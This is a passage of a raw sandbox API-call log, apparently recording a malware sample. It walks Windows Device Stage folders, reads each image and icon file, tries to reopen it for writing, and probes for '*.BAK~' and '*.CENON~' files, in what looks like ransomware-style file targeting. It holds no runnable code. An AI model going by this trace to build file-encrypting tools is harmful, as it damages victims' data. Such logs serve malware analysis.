lpFindFileData=0x1ae200) returned 0 [0113.324] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.324] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.325] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.326] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.326] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.326] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.326] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.326] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.333] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.333] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.334] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.335] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.338] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.338] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.338] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.338] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 0 [0113.338] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.338] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1fad1 [0113.339] ReadFile (in: hFile=0x1d8, lpBuffer=0x128a9978, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x128a9978*, lpNumberOfBytesRead=0x1ae3e8*=0x1fad1, lpOverlapped=0x0) returned 1 [0113.343] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.345] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.345] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xadc8 [0113.345] ReadFile (in: hFile=0x1d8, lpBuffer=0x2936c08, nNumberOfBytesToRead=0xadc8, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2936c08*, lpNumberOfBytesRead=0x1ae3e8*=0xadc8, lpOverlapped=0x0) returned 1 [0113.347] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.348] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.348] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x70c1 [0113.348] ReadFile (in: hFile=0x1d8, lpBuffer=0x294db28, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x294db28*, lpNumberOfBytesRead=0x1ae3e8*=0x70c1, lpOverlapped=0x0) returned 1 [0113.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.352] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.352] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x99d3 [0113.352] ReadFile (in: hFile=0x1d8, lpBuffer=0x295d060, nNumberOfBytesToRead=0x99d3, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x295d060*, lpNumberOfBytesRead=0x1ae3e8*=0x99d3, lpOverlapped=0x0) returned 1 [0113.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.359] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.359] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.360] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.360] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.364] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 0 [0113.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.364] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1fad1 [0113.365] ReadFile (in: hFile=0x1d8, lpBuffer=0x128e8fa0, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x128e8fa0*, lpNumberOfBytesRead=0x1ae3e8*=0x1fad1, lpOverlapped=0x0) returned 1 [0113.368] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.370] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.370] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x70c1 [0113.370] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a36038, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a36038*, lpNumberOfBytesRead=0x1ae3e8*=0x70c1, lpOverlapped=0x0) returned 1 [0113.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.377] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.377] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.378] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.378] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.381] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.381] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.381] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.381] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.381] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.387] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.388] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.389] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.389] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 0 [0113.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.390] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xd0a3 [0113.391] ReadFile (in: hFile=0x1d8, lpBuffer=0x2963428, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2963428*, lpNumberOfBytesRead=0x1ae3e8*=0xd0a3, lpOverlapped=0x0) returned 1 [0113.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.394] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x72ee [0113.394] ReadFile (in: hFile=0x1d8, lpBuffer=0x297e910, nNumberOfBytesToRead=0x72ee, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x297e910*, lpNumberOfBytesRead=0x1ae3e8*=0x72ee, lpOverlapped=0x0) returned 1 [0113.396] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.398] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x14668 [0113.398] ReadFile (in: hFile=0x1d8, lpBuffer=0x298e280, nNumberOfBytesToRead=0x14668, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x298e280*, lpNumberOfBytesRead=0x1ae3e8*=0x14668, lpOverlapped=0x0) returned 1 [0113.401] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.403] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.403] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xcaa9 [0113.403] ReadFile (in: hFile=0x1d8, lpBuffer=0x29b82f0, nNumberOfBytesToRead=0xcaa9, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29b82f0*, lpNumberOfBytesRead=0x1ae3e8*=0xcaa9, lpOverlapped=0x0) returned 1 [0113.405] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.407] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.407] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x10850 [0113.407] ReadFile (in: hFile=0x1d8, lpBuffer=0x29d2be8, nNumberOfBytesToRead=0x10850, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29d2be8*, lpNumberOfBytesRead=0x1ae3e8*=0x10850, lpOverlapped=0x0) returned 1 [0113.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.411] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.411] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xc04b [0113.411] ReadFile (in: hFile=0x1d8, lpBuffer=0x29f5028, nNumberOfBytesToRead=0xc04b, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29f5028*, lpNumberOfBytesRead=0x1ae3e8*=0xc04b, lpOverlapped=0x0) returned 1 [0113.413] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.415] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.415] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1b9f4 [0113.416] ReadFile (in: hFile=0x1d8, lpBuffer=0x129285c8, nNumberOfBytesToRead=0x1b9f4, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x129285c8*, lpNumberOfBytesRead=0x1ae3e8*=0x1b9f4, lpOverlapped=0x0) returned 1 [0113.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.427] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.428] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.429] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.429] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, 